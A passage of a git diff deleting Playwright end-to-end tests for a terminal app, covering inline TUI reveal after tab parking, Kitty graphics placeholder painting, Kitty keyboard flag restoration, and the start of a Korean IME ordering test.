/CODEX_FRAME_(\d+)/g -const INPUT_BOX_MARKER = 'INPUT_BOX_READY_MARKER' -// Allow delivery lag at 60ms ticks while rejecting a frozen pre-hide frame. -const MAX_VISIBLE_FRAME_LAG = 50 - -type RevealProbe = { - ptyId: string | null - viewportY: number - baseY: number - cols: number - rows: number - proposed: { cols: number; rows: number } | null - appliedPtySize: { cols: number; rows: number } | null - screenRows: string[] -} - -function latestFrame(text: string): number { - let latest = -1 - for (const match of text.matchAll(FRAME_RE)) { - latest = Math.max(latest, Number(match[1])) - } - return latest -} - -function heartbeatFrame(heartbeatPath: string): number { - try { - return Number(readFileSync(heartbeatPath, 'utf8').trim()) - } catch { - return -1 - } -} - -// Resolve by tab: agent quick-launch may respawn the PTY after initial bind, invalidating a captured ptyId. -async function probeRevealedPane(page: Page, tabId: string): Promise { - return page.evaluate( - async ({ tabId }) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - return null - } - const ptyId = pane.container.dataset.ptyId ?? null - const terminal = pane.terminal - const buffer = terminal.buffer.active - const screenRows: string[] = [] - for (let i = 0; i < terminal.rows; i += 1) { - const line = buffer.getLine(buffer.viewportY + i) - screenRows.push(line ? line.translateToString(true) : '') - } - let proposed: { cols: number; rows: number } | null = null - try { - proposed = pane.fitAddon.proposeDimensions() ?? null - } catch { - proposed = null - } - let appliedPtySize: { cols: number; rows: number } | null = null - try { - appliedPtySize = ptyId ? ((await window.api.pty.getSize(ptyId)) ?? null) : null - } catch { - appliedPtySize = null - } - return { - ptyId, - viewportY: buffer.viewportY, - baseY: buffer.baseY, - cols: terminal.cols, - rows: terminal.rows, - proposed, - appliedPtySize, - screenRows - } - }, - { tabId } - ) -} - -// Check screenshot ink in the live block’s bottom band: healthy buffers can hide atlas-wipe or paused-RenderService paint failures. -function measureBandInkRatio( - screenshot: Buffer, - bandTopFraction: number, - bandBottomFraction: number -): number { - const png = PNG.sync.read(screenshot) - const colorCounts = new Map() - for (let offset = 0; offset < png.data.length; offset += 32) { - const key = - ((png.data[offset] ?? 0) << 16) | - ((png.data[offset + 1] ?? 0) << 8) | - (png.data[offset + 2] ?? 0) - colorCounts.set(key, (colorCounts.get(key) ?? 0) + 1) - } - let backgroundKey = 0 - let backgroundCount = -1 - for (const [key, count] of colorCounts) { - if (count > backgroundCount) { - backgroundKey = key - backgroundCount = count - } - } - const backgroundRed = (backgroundKey >> 16) & 0xff - const backgroundGreen = (backgroundKey >> 8) & 0xff - const backgroundBlue = backgroundKey & 0xff - const yStart = Math.max(0, Math.floor(png.height * bandTopFraction)) - const yEnd = Math.min(png.height, Math.ceil(png.height * bandBottomFraction)) - let ink = 0 - let total = 0 - for (let y = yStart; y < yEnd; y += 1) { - for (let x = 0; x < png.width; x += 1) { - const offset = (y * png.width + x) * 4 - const diff = - Math.abs((png.data[offset] ?? 0) - backgroundRed) + - Math.abs((png.data[offset + 1] ?? 0) - backgroundGreen) + - Math.abs((png.data[offset + 2] ?? 0) - backgroundBlue) - total += 1 - if (diff > 48) { - ink += 1 - } - } - } - return total > 0 ? ink / total : 0 -} - -async function forceWebglOnActiveTab(page: Page): Promise { - await page.evaluate(() => { - const state = window.__store?.getState() - if (!state?.settings) { - throw new Error('Store unavailable') - } - window.__store?.setState({ - settings: { - ...state.settings, - terminalGpuAcceleration: 'on' - } - }) - const worktreeId = state.activeWorktreeId - const tabId = - state.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - window.__paneManagers?.get(tabId ?? '')?.setTerminalGpuAcceleration?.('on') - }) -} - -async function paneClipRect( - page: Page, - tabId: string -): Promise<{ x: number; y: number; width: number; height: number } | null> { - return page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - if (!pane) { - return null - } - const rect = pane.container.getBoundingClientRect() - if (rect.width < 10 || rect.height < 10) { - return null - } - return { x: rect.x, y: rect.y, width: rect.width, height: rect.height } - }, tabId) -} - -async function isTerminalPaneMounted(page: Page, tabId: string): Promise { - return page.evaluate((tabId) => { - const manager = window.__paneManagers?.get(tabId) - return Boolean(manager && manager.getPanes().length > 0) - }, tabId) -} - -function describeProbe(probe: RevealProbe | null): string { - if (!probe) { - return 'pane not mounted' - } - return JSON.stringify( - { - viewportY: probe.viewportY, - baseY: probe.baseY, - cols: probe.cols, - rows: probe.rows, - proposed: probe.proposed, - appliedPtySize: probe.appliedPtySize, - screenTail: probe.screenRows.slice(-10) - }, - null, - 1 - ) -} - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((targetTabId) => { - const store = window.__store - if (!store) { - throw new Error('activateTerminalTab: window.__store is unavailable') - } - const state = store.getState() - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - state.setActiveTab(targetTabId) - }, tabId) - await expect - .poll(() => getActiveTabId(page), { - timeout: 5_000, - message: `terminal tab ${tabId} did not become active` - }) - .toBe(tabId) -} - -async function createActiveTerminalTab(page: Page, worktreeId: string): Promise { - const tabId = await page.evaluate((worktreeId) => { - const store = window.__store - if (!store) { - throw new Error('createActiveTerminalTab: window.__store is unavailable') - } - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { activate: true }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', store.getState().activeWorktreeId) - return tab.id - }, worktreeId) - await expect - .poll(() => getActiveTabId(page), { - timeout: 5_000, - message: 'newly created terminal tab did not become active' - }) - .toBe(tabId) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneIdentitySnapshot(page, 1) - return tabId -} - -type StreamingTabSetup = { - worktreeId: string - tabId: string - ptyId: string - heartbeatPath: string - stop: () => Promise -} - -// Use a fresh tab so serial tests cannot type into the prior streaming fixture. -// Agent-mark it to exercise live-agent reattach, mode-preserving reset, startup-query and post-replay-focus paths. -async function startStreamingInlineTui( - page: Page, - testInfo: TestInfo, - options: { historyLinesPerSecond?: number; seedLines?: number } = {} -): Promise { - await waitForSessionReady(page) - const worktreeId = await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - const heartbeatPath = testInfo.outputPath(`codex-inline-heartbeat-${Date.now()}.txt`) - const command = `node ${JSON.stringify(FIXTURE_PATH)} ${JSON.stringify(heartbeatPath)} ${options.historyLinesPerSecond ?? 4} ${options.seedLines ?? 120}` - const tabId = await page.evaluate( - ({ worktreeId, command }) => { - const store = window.__store - if (!store) { - throw new Error('startStreamingInlineTui: window.__store is unavailable') - } - const state = store.getState() - const tab = state.createTab(worktreeId, undefined, undefined, { launchAgent: 'codex' }) - state.queueTabStartupCommand(tab.id, { - command, - launchAgent: 'codex', - telemetry: { - agent_kind: 'codex', - launch_source: 'tab_bar_quick_launch', - request_kind: 'new' - } - }) - state.setActiveTab(tab.id) - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - return tab.id - }, - { worktreeId, command } - ) - await expect - .poll(() => getActiveTabId(page), { - timeout: 5_000, - message: 'agent-marked streaming tab did not become active' - }) - .toBe(tabId) - await waitForActiveTerminalManager(page, 30_000) - await waitForPaneIdentitySnapshot(page, 1) - // Require WebGL: atlas-wipe/render-pause seams exist only on the GPU path. - await forceWebglOnActiveTab(page) - await expect - .poll( - async () => latestFrame((await probeRevealedPane(page, tabId))?.screenRows.join('\n') ?? ''), - { - timeout: 20_000, - message: 'inline TUI fixture did not start streaming in the visible pane' - } - ) - .toBeGreaterThan(5) - // Capture PTY id after streaming starts because quick-launch can respawn it. - const ptyId = (await probeRevealedPane(page, tabId))?.ptyId - if (!ptyId) { - throw new Error('streaming tab did not bind a PTY') - } - return { - worktreeId, - tabId, - ptyId, - heartbeatPath, - stop: async () => { - await sendToTerminal(page, ptyId, '\x03').catch(() => {}) - await page.waitForTimeout(100) - } - } -} - -async function assertRevealConvergence( - page: Page, - testInfo: TestInfo, - setup: StreamingTabSetup, - label: string -): Promise { - const { tabId, heartbeatPath } = setup - - const heartbeatAtReveal = heartbeatFrame(heartbeatPath) - expect(heartbeatAtReveal, 'fixture stopped streaming while hidden').toBeGreaterThan(5) - - let lastProbe: RevealProbe | null = null - await expect - .poll( - async () => { - lastProbe = await probeRevealedPane(page, tabId) - if (!lastProbe) { - return 'pane-not-mounted' - } - if (lastProbe.viewportY !== lastProbe.baseY) { - return `viewport-stranded viewportY=${lastProbe.viewportY} baseY=${lastProbe.baseY}` - } - const screen = lastProbe.screenRows.join('\n') - if (!screen.includes(INPUT_BOX_MARKER)) { - return 'input-box-row-missing' - } - const visibleFrame = latestFrame(screen) - const liveFrame = heartbeatFrame(heartbeatPath) - if (visibleFrame < 0 || liveFrame - visibleFrame > MAX_VISIBLE_FRAME_LAG) { - return `stale-frame visible=${visibleFrame} live=${liveFrame}` - } - return 'converged' - }, - { - timeout: 20_000, - message: `${label}: revealed pane did not converge to the live inline TUI without a resize` - } - ) - .toBe('converged') - .catch(async (error) => { - testInfo.annotations.push({ - type: `${label}-divergence-probe`, - description: describeProbe(lastProbe) - }) - const screenshotPath = testInfo.outputPath(`${label}-divergence.png`) - await page.screenshot({ path: screenshotPath, fullPage: true }) - await testInfo.attach(`${label}-divergence.png`, { - path: screenshotPath, - contentType: 'image/png' - }) - throw error - }) - - const convergedFrame = latestFrame( - (await probeRevealedPane(page, tabId))?.screenRows.join('\n') ?? '' - ) - await expect - .poll( - async () => { - const probe = await probeRevealedPane(page, tabId) - if (!probe || probe.viewportY !== probe.baseY) { - return -1 - } - return latestFrame(probe.screenRows.join('\n')) - }, - { - timeout: 10_000, - message: `${label}: revealed pane stopped following live output after convergence` - } - ) - .toBeGreaterThan(convergedFrame) - - const probe = await probeRevealedPane(page, tabId) - expect(probe, `${label}: pane disappeared after convergence`).not.toBeNull() - expect(probe!.proposed, `${label}: fit proposal diverges: ${describeProbe(probe)}`).toEqual({ - cols: probe!.cols, - rows: probe!.rows - }) - expect( - probe!.appliedPtySize, - `${label}: PTY applied-size read unavailable: ${describeProbe(probe)}` - ).not.toBeNull() - expect( - probe!.appliedPtySize, - `${label}: PTY applied size diverges: ${describeProbe(probe)}` - ).toEqual({ cols: probe!.cols, rows: probe!.rows }) - - const clip = await paneClipRect(page, tabId) - expect(clip, `${label}: pane rect unavailable for paint check`).not.toBeNull() - const bandTop = Math.max(0, 1 - 8 / (probe!.rows || 24)) - await expect - .poll( - async () => { - const shot = await page.screenshot({ clip: clip! }) - return measureBandInkRatio(shot, bandTop, 1) - }, - { - timeout: 10_000, - message: `${label}: live block rows painted blank while the buffer holds content (paint-layer divergence)` - } - ) - .toBeGreaterThan(0.005) -} - -async function resizeAppWindow( - electronApp: ElectronApplication, - deltaWidth: number, - deltaHeight: number -): Promise { - // Retry idempotent resize when heavy renderer work transiently recycles main’s utility execution context. - let lastError: unknown = null - for (let attempt = 0; attempt < 3; attempt += 1) { - try { - await electronApp.evaluate( - ({ BrowserWindow }, { deltaWidth, deltaHeight }) => { - const window = BrowserWindow.getAllWindows()[0] - if (!window) { - throw new Error('No Electron window') - } - const [width, height] = window.getSize() - window.setSize(width + deltaWidth, height + deltaHeight) - }, - { deltaWidth, deltaHeight } - ) - return - } catch (error) { - lastError = error - await new Promise((resolve) => setTimeout(resolve, 500)) - } - } - throw lastError -} - -// Throttle only reveal to widen loaded-machine race windows. -async function withCpuThrottle(page: Page, rate: number, run: () => Promise): Promise { - const session = await page.context().newCDPSession(page) - try { - await session.send('Emulation.setCPUThrottlingRate', { rate }) - return await run() - } finally { - await session.send('Emulation.setCPUThrottlingRate', { rate: 1 }).catch(() => {}) - await session.detach().catch(() => {}) - } -} - -async function streamWhileParked(setup: StreamingTabSetup, minFrames: number): Promise { - const heartbeatBefore = heartbeatFrame(setup.heartbeatPath) - await expect - .poll(() => heartbeatFrame(setup.heartbeatPath), { - timeout: 60_000, - message: 'fixture did not keep streaming while hidden/parked' - }) - .toBeGreaterThan(heartbeatBefore + minFrames) -} - -test.describe('Inline TUI reveal convergence', () => { - test('hidden-but-mounted tab reveal converges while the inline TUI streams', async ({ - orcaPage - }, testInfo) => { - test.setTimeout(120_000) - const setup = await startStreamingInlineTui(orcaPage, testInfo) - try { - // Reveal inside the cold-park delay to isolate hidden-delivery-gate restore. - const tabBId = await createActiveTerminalTab(orcaPage, setup.worktreeId) - expect(tabBId).not.toBe(setup.tabId) - await orcaPage.waitForTimeout(Math.max(50, Math.min(PARKING_DELAY_MS / 2, 200))) - expect( - await isTerminalPaneMounted(orcaPage, setup.tabId), - 'hidden-mounted scenario cold-parked before reveal' - ).toBe(true) - - await activateTerminalTab(orcaPage, setup.tabId) - await waitForActiveTerminalManager(orcaPage, 30_000) - await assertRevealConvergence(orcaPage, testInfo, setup, 'hidden-mounted-reveal') - } finally { - await setup.stop() - } - }) - - test('worktree switch reveal converges after a hidden-time window resize', async ({ - orcaPage, - electronApp - }, testInfo) => { - test.setTimeout(120_000) - const setup = await startStreamingInlineTui(orcaPage, testInfo, { - historyLinesPerSecond: 20 - }) - try { - // Switch worktrees to exercise surface suspension and heavy resume, matching the field action. - const otherWorktreeId = await switchToOtherWorktree(orcaPage, setup.worktreeId) - test.skip(!otherWorktreeId, 'test session has a single worktree; cannot surface-hide') - - // Resize while display:none prevents fit, forcing revealed grid/daemon snapshot dimension disagreement as Cmd+L does. - await resizeAppWindow(electronApp, -180, -120) - await orcaPage.waitForTimeout(2_500) - - await switchToWorktree(orcaPage, setup.worktreeId) - await activateTerminalTab(orcaPage, setup.tabId) - await waitForActiveTerminalManager(orcaPage, 30_000) - await assertRevealConvergence(orcaPage, testInfo, setup, 'worktree-resize-reveal') - } finally { - await resizeAppWindow(electronApp, 180, 120).catch(() => {}) - await setup.stop() - } - }) - - test('parked tab reveal converges across repeated cycles while the inline TUI streams heavily', async ({ - orcaPage - }, testInfo) => { - test.setTimeout(480_000) - const setup = await startStreamingInlineTui(orcaPage, testInfo, { - historyLinesPerSecond: 30, - seedLines: 8_000 - }) - try { - // Hide A with B, then B with a decoy so B takes #8262’s exemption and A cold-parks. - const tabBId = await createActiveTerminalTab(orcaPage, setup.worktreeId) - const decoyTabId = await createActiveTerminalTab(orcaPage, setup.worktreeId) - - // Repeat park/stream/reveal because the field failure is intermittent. - const CYCLES = 6 - for (let cycle = 0; cycle < CYCLES; cycle += 1) { - if (cycle > 0) { - await activateTerminalTab(orcaPage, tabBId) - await activateTerminalTab(orcaPage, decoyTabId) - } - await waitForTabParked(orcaPage, setup.tabId, { parkDelayMs: PARKING_DELAY_MS }) - - // Build a field-sized backlog while unmounted so replay races live output. - await streamWhileParked(setup, 100) - - // Throttle reveal so replay parse/corrective fit/follow-anchor races resemble a loaded machine. - await withCpuThrottle(orcaPage, 6, async () => { - await activateTerminalTab(orcaPage, setup.tabId) - await waitForActiveTerminalManager(orcaPage, 30_000) - await orcaPage.waitForTimeout(3_000) - }) - const revealed = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(revealed.panes[0]?.ptyId).toBe(setup.ptyId) - await assertRevealConvergence(orcaPage, testInfo, setup, `parked-heavy-reveal-c${cycle}`) - } - } finally { - await setup.stop() - } - }) - - test('rapid tab hide/reveal flapping never wedges delivery for the streaming inline TUI', async ({ - orcaPage - }, testInfo) => { - test.setTimeout(150_000) - const setup = await startStreamingInlineTui(orcaPage, testInfo, { - historyLinesPerSecond: 10 - }) - try { - const tabBId = await createActiveTerminalTab(orcaPage, setup.worktreeId) - // Flap at varied phases to race gate claim/release against restore, exposing visible-pane byte drops. - for (let flap = 0; flap < 12; flap += 1) { - await activateTerminalTab(orcaPage, tabBId) - await orcaPage.waitForTimeout(50 + (flap % 3) * 120) - await activateTerminalTab(orcaPage, setup.tabId) - await orcaPage.waitForTimeout(50 + ((flap * 7) % 5) * 90) - } - await waitForActiveTerminalManager(orcaPage, 30_000) - await assertRevealConvergence(orcaPage, testInfo, setup, 'tab-flapping-reveal') - } finally { - await setup.stop() - } - }) - - test('rapid worktree switch flapping never wedges delivery for the streaming inline TUI', async ({ - orcaPage - }, testInfo) => { - test.setTimeout(150_000) - const setup = await startStreamingInlineTui(orcaPage, testInfo, { - historyLinesPerSecond: 10, - seedLines: 4_000 - }) - try { - const otherWorktreeId = await switchToOtherWorktree(orcaPage, setup.worktreeId) - test.skip(!otherWorktreeId, 'test session has a single worktree; cannot surface-flap') - // Flap whole surfaces under CPU throttle to race suspension/heavy resume with gate resync/repaint. - await withCpuThrottle(orcaPage, 6, async () => { - for (let flap = 0; flap < 10; flap += 1) { - await switchToWorktree(orcaPage, otherWorktreeId!) - await orcaPage.waitForTimeout(60 + (flap % 4) * 110) - await switchToWorktree(orcaPage, setup.worktreeId) - await orcaPage.waitForTimeout(60 + ((flap * 5) % 4) * 130) - } - }) - await activateTerminalTab(orcaPage, setup.tabId) - await waitForActiveTerminalManager(orcaPage, 30_000) - await assertRevealConvergence(orcaPage, testInfo, setup, 'worktree-flapping-reveal') - } finally { - await setup.stop() - } - }) - - test('parked tab reveal converges after a parked-time window resize', async ({ - orcaPage, - electronApp - }, testInfo) => { - test.setTimeout(180_000) - const setup = await startStreamingInlineTui(orcaPage, testInfo, { - historyLinesPerSecond: 20 - }) - try { - await createActiveTerminalTab(orcaPage, setup.worktreeId) - await createActiveTerminalTab(orcaPage, setup.worktreeId) - await waitForTabParked(orcaPage, setup.tabId, { parkDelayMs: PARKING_DELAY_MS }) - - // Resize while parked so remount matches neither the prior grid nor daemon snapshot. - await resizeAppWindow(electronApp, -180, -120) - await streamWhileParked(setup, 100) - - await activateTerminalTab(orcaPage, setup.tabId) - await waitForActiveTerminalManager(orcaPage, 30_000) - const revealed = await waitForPaneIdentitySnapshot(orcaPage, 1) - expect(revealed.panes[0]?.ptyId).toBe(setup.ptyId) - await assertRevealConvergence(orcaPage, testInfo, setup, 'parked-resize-reveal') - } finally { - await resizeAppWindow(electronApp, 180, 120).catch(() => {}) - await setup.stop() - } - }) -}) diff --git a/tests/e2e/terminal-kitty-placeholders.spec.ts b/tests/e2e/terminal-kitty-placeholders.spec.ts deleted file mode 100644 index f4676b8ae90..00000000000 --- a/tests/e2e/terminal-kitty-placeholders.spec.ts +++ /dev/null @@ -1,200 +0,0 @@ -import { writeFileSync } from 'node:fs' -import { PNG } from 'pngjs' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { - execInTerminal, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { enableInlineImages } from './helpers/terminal-inline-image-proof' -import { nodeTerminalCommand } from './terminal-node-command' - -test.use({ - launchEnv: { ORCA_BACKGROUND_LAUNCH: '1' }, - orcaAppExtraArgs: ['--force-color-profile=srgb'] -}) - -test.afterEach(async ({ orcaPage }, testInfo) => { - if (testInfo.status === testInfo.expectedStatus) { - return - } - // Read back only after failure so diagnostics cannot supply the missing repaint. - const canvas = await orcaPage - .locator('.pane:visible .xterm-image-layer-top') - .first() - .evaluate( - (layer) => - layer instanceof HTMLCanvasElement - ? { width: layer.width, height: layer.height, png: layer.toDataURL() } - : null, - undefined, - { timeout: 1000 } - ) - .catch(() => null) - writeFileSync(testInfo.outputPath('kitty-failure-canvas.json'), JSON.stringify(canvas)) -}) - -const MARK = '\u{10EEEE}' -const ROWS = ['\u0305', '\u030D', '\u030E', '\u0310'] - -type ImageKind = 'cursor' | 'placeholder' | 'named' | 'letterbox' | 'transparent' - -function imagePayload(kind: ImageKind): string { - const virtual = kind !== 'cursor' - const png = new PNG({ width: 120, height: kind === 'letterbox' ? 60 : 120 }) - for (let i = 0; i < png.data.length; i += 4) { - const x = (i / 4) % png.width - const y = Math.floor(i / 4 / png.width) - const hole = kind === 'transparent' && x >= 30 && x < 90 && y >= 30 && y < 90 - png.data.set([240, 40, 40, hole ? 0 : 255], i) - } - const encoded = PNG.sync.write(png).toString('base64') - const placement = - kind === 'named' - ? `\x1b_Ga=T,f=100,i=65280,p=11,c=1,r=1,q=2,U=1;${encoded}\x1b\\` + - `\x1b_Ga=p,i=65280,p=10,c=8,r=4,q=2,U=1;\x1b\\` - : `\x1b_Ga=T,f=100,i=65280,c=8,r=4,q=2${virtual ? ',U=1' : ''};${encoded}\x1b\\` - const cells = ROWS.map((row) => `${MARK}${row}${'\u{10EEEE}'.repeat(7)}`).join('\r\n') - return `\x1bc${placement}${ - virtual - ? `\x1b[6;5H\x1b[38;2;0;255;0m${kind === 'named' ? '\x1b[58;2;0;0;10m' : ''}${cells}\x1b[0m` - : '' - }\x1b[12;5H\x1b[38;2;0;255;0mKEEP\x1b[0m\x1b[15;1HINLINE_RENDER_DONE\r\n` -} - -for (const acceleration of ['off', 'on'] as const) { - for (const kind of ['cursor', 'placeholder', 'named', 'letterbox', 'transparent'] as const) { - test(`@headful ${acceleration}: Kitty ${kind} image paints at its intended cells`, async ({ - orcaPage - }, testInfo) => { - await waitForSessionReady(orcaPage) - await ensureTerminalVisible(orcaPage) - await orcaPage.evaluate(async (policy) => { - await window.__store!.getState().updateSettings({ terminalGpuAcceleration: policy }) - }, acceleration) - await waitForActiveTerminalManager(orcaPage, 30_000) - await enableInlineImages(orcaPage) - await expect - .poll(() => - orcaPage.evaluate(() => { - const tabId = window.__store!.getState().activeTabId - const manager = tabId && window.__paneManagers?.get(tabId) - const pane = manager && manager.getActivePane() - return Boolean(manager && pane && manager.hasWebglRenderer(pane.id)) - }) - ) - .toBe(acceleration === 'on') - const ptyId = await waitForActivePanePtyId(orcaPage) - const producer = testInfo.outputPath('kitty-placeholder-producer.cjs') - writeFileSync( - producer, - `process.stdin.setRawMode(true); -process.stdin.on('data', (data) => { - const key = data.toString(); - if (key === 'q') process.exit(0); - const operation = key === 'd' ? 'a=d,d=i,i=65280,q=2' : 'a=p,U=1,i=65280,c=8,r=4,q=2'; - process.stdout.write('\\x1b_G' + operation + '${kind === 'named' ? ',p=10' : ''};\\x1b\\\\'); -}); -process.stdout.write(Buffer.from('${Buffer.from(imagePayload(kind)).toString('base64')}', 'base64'));` - ) - await execInTerminal(orcaPage, ptyId, nodeTerminalCommand([producer])) - await waitForTerminalOutput(orcaPage, 'INLINE_RENDER_DONE', 30_000) - const screen = orcaPage.locator('.pane:visible .xterm-screen').first() - await expect(screen).toBeVisible() - const dimensions = await orcaPage.evaluate(() => { - const tabId = window.__store!.getState().activeTabId - const pane = tabId && window.__paneManagers?.get(tabId)?.getActivePane() - if (!pane) { - throw new Error('Missing image terminal') - } - return { cols: pane.terminal.cols, rows: pane.terminal.rows } - }) - await expect - .poll( - async () => { - const image = PNG.sync.read( - await screen.screenshot({ path: testInfo.outputPath('kitty-cells.png') }) - ) - const cellWidth = image.width / dimensions.cols - const cellHeight = image.height / dimensions.rows - const col = kind === 'cursor' ? 0 : 4 - const row = kind === 'cursor' ? 0 : 5 - let redPixels = 0 - let greenPixels = 0 - for (let y = Math.ceil(row * cellHeight); y < (row + 4) * cellHeight; y++) { - for (let x = Math.ceil(col * cellWidth); x < (col + 8) * cellWidth; x++) { - const offset = (y * image.width + x) * 4 - if ( - image.data[offset] > 220 && - image.data[offset + 1] < 60 && - image.data[offset + 2] < 60 - ) { - redPixels++ - } - if ( - image.data[offset] < 60 && - image.data[offset + 1] > 220 && - image.data[offset + 2] < 60 - ) { - greenPixels++ - } - } - } - return { hasImage: redPixels > 1000, greenPixels } - }, - { timeout: 15_000, message: 'Image pixels must appear in the addressed cell rectangle' } - ) - .toEqual({ hasImage: true, greenPixels: 0 }) - const image = PNG.sync.read(await screen.screenshot()) - let redPixels = 0 - for (let i = 0; i < image.data.length; i += 4) { - if (image.data[i] > 220 && image.data[i + 1] < 60 && image.data[i + 2] < 60) { - redPixels++ - } - } - expect(redPixels).toBeGreaterThan(1000) - if (kind === 'placeholder' || kind === 'named') { - for (const action of ['delete', 'restore'] as const) { - // Only the image command changes: shell echo must not supply the missing repaint. - await sendToTerminal(orcaPage, ptyId, action === 'delete' ? 'd' : 'r') - await expect - .poll( - async () => { - const png = PNG.sync.read( - await screen.screenshot({ path: testInfo.outputPath(`kitty-${action}.png`) }) - ) - let pixels = 0 - for ( - let y = Math.ceil((5 * png.height) / dimensions.rows); - y < (9 * png.height) / dimensions.rows; - y++ - ) { - for ( - let x = Math.ceil((4 * png.width) / dimensions.cols); - x < (12 * png.width) / dimensions.cols; - x++ - ) { - const offset = (y * png.width + x) * 4 - if ( - png.data[offset] > 220 && - png.data[offset + 1] < 60 && - png.data[offset + 2] < 60 - ) { - pixels++ - } - } - } - return pixels > 1000 - }, - { timeout: 10_000, message: `${action} must repaint existing placeholder cells` } - ) - .toBe(action === 'restore') - } - } - await sendToTerminal(orcaPage, ptyId, 'q') - }) - } -} diff --git a/tests/e2e/terminal-kitty-reattach-parity.spec.ts b/tests/e2e/terminal-kitty-reattach-parity.spec.ts deleted file mode 100644 index 32a40c8c677..00000000000 --- a/tests/e2e/terminal-kitty-reattach-parity.spec.ts +++ /dev/null @@ -1,115 +0,0 @@ -// Require kitty flags in fresh xterm and the pane policy mirror after park/reveal. -// Without replay-epilogue restore, xterm stays at 0 while the mirror adopts host flags. -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { parkHiddenTabBehindDecoy } from './helpers/terminal-hidden-parking' -import { - ensureTerminalVisible, - getActiveTabId, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { - focusActiveTerminalInput, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' -import { - clearTerminalPtyWriteLog, - installTerminalPtyWriteSpy, - readTerminalPtyWrites -} from './helpers/terminal-pty-write-spy' -import { waitForPtyShellEcho } from './terminal-pty-readiness' - -const PARKING_DELAY_MS = Number(process.env.ORCA_E2E_TERMINAL_PARKING_DELAY_MS) || 500 -const APP_FLAGS = 5 - -test.use({ - orcaAppExtraEnv: { ORCA_E2E_TERMINAL_PARKING_DELAY_MS: String(PARKING_DELAY_MS) } -}) - -async function readXtermKittyFlags(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store?.getState() - const tabId = state?.activeTabId ?? null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: xterm exposes kitty flags only on its private core; null when absent. - const terminal = pane?.terminal as - | { _core?: { coreService?: { kittyKeyboard?: { flags?: number } } } } - | undefined - return terminal?._core?.coreService?.kittyKeyboard?.flags ?? null - }) -} - -// Why Shift+Enter: the policy emits CSI-u only when the pane mirror reports kitty flags. -async function expectShiftEnterWrite( - page: Page, - app: ElectronApplication, - expected: string -): Promise { - await clearTerminalPtyWriteLog(app) - await focusActiveTerminalInput(page) - await page.keyboard.press('Shift+Enter') - await expect - .poll(async () => (await readTerminalPtyWrites(app)).includes(expected), { - timeout: 5_000, - message: `Shift+Enter did not write ${JSON.stringify(expected)}` - }) - .toBe(true) -} - -async function activateTerminalTab(page: Page, tabId: string): Promise { - await page.evaluate((tabId) => { - const state = window.__store?.getState() - if (!state) { - throw new Error('Orca store unavailable') - } - state.setActiveTabType('terminal', window.__store?.getState().activeWorktreeId ?? null) - state.setActiveTab(tabId) - }, tabId) - await expect.poll(() => getActiveTabId(page)).toBe(tabId) - await waitForActiveTerminalManager(page, 30_000) -} - -test("park and reveal keep a live app's kitty flags in xterm and the mirror", async ({ - orcaPage, - electronApp -}) => { - test.skip(process.platform === 'win32', 'ConPTY panes withhold the kitty protocol') - await installTerminalPtyWriteSpy(electronApp) - await waitForSessionReady(orcaPage) - const worktreeId = await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - const tabId = await getActiveTabId(orcaPage) - if (!tabId) { - throw new Error('no active terminal tab') - } - const ptyId = await waitForActivePanePtyId(orcaPage) - await waitForPtyShellEcho(orcaPage, ptyId, 15_000) - - try { - // The app stays alive through the park, so nothing grounds its flags. - await sendToTerminal(orcaPage, ptyId, `printf '\\033[=${APP_FLAGS}u'; sleep 120\r`) - await expect.poll(() => readXtermKittyFlags(orcaPage)).toBe(APP_FLAGS) - await expectShiftEnterWrite(orcaPage, electronApp, '\x1b[13;2u') - - await parkHiddenTabBehindDecoy(orcaPage, worktreeId, tabId, { - parkDelayMs: PARKING_DELAY_MS - }) - await activateTerminalTab(orcaPage, tabId) - await waitForActivePanePtyId(orcaPage) - - await expect - .poll(() => readXtermKittyFlags(orcaPage), { - timeout: 10_000, - message: 'the revealed xterm did not get the live app kitty flags back' - }) - .toBe(APP_FLAGS) - await expectShiftEnterWrite(orcaPage, electronApp, '\x1b[13;2u') - } finally { - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - } -}) diff --git a/tests/e2e/terminal-korean-composing-chord-order.spec.ts b/tests/e2e/terminal-korean-composing-chord-order.spec.ts deleted file mode 100644 index 70ac7ced2cf..00000000000 --- a/tests/e2e/terminal-korean-composing-chord-order.spec.ts +++ /dev/null @@ -1,73 +0,0 @@ -// #12871: Cmd+Left overtook composing 다, turning 가나다 into 다가다. -// Units pin the synthetic handler; assert merged PTY ordering across composition-end and chord-transport routes. -import { expect, test } from './helpers/orca-app' -import { closeTerminalImePaneArena, openTerminalImePaneArena } from './terminal-ime-pane-arena' -import { - commitImeText, - composeHangulSyllable, - dispatchPlainEnter, - type ImeKeyIdentity -} from './terminal-ime-cdp-composition' -import { - createTerminalImeByteReader, - removeTerminalImeByteReader, - startTerminalImeByteReader, - waitForTerminalImeBytes -} from './terminal-ime-byte-reader' -import { applyImePlatformPolicy, expectImePlatformPolicy } 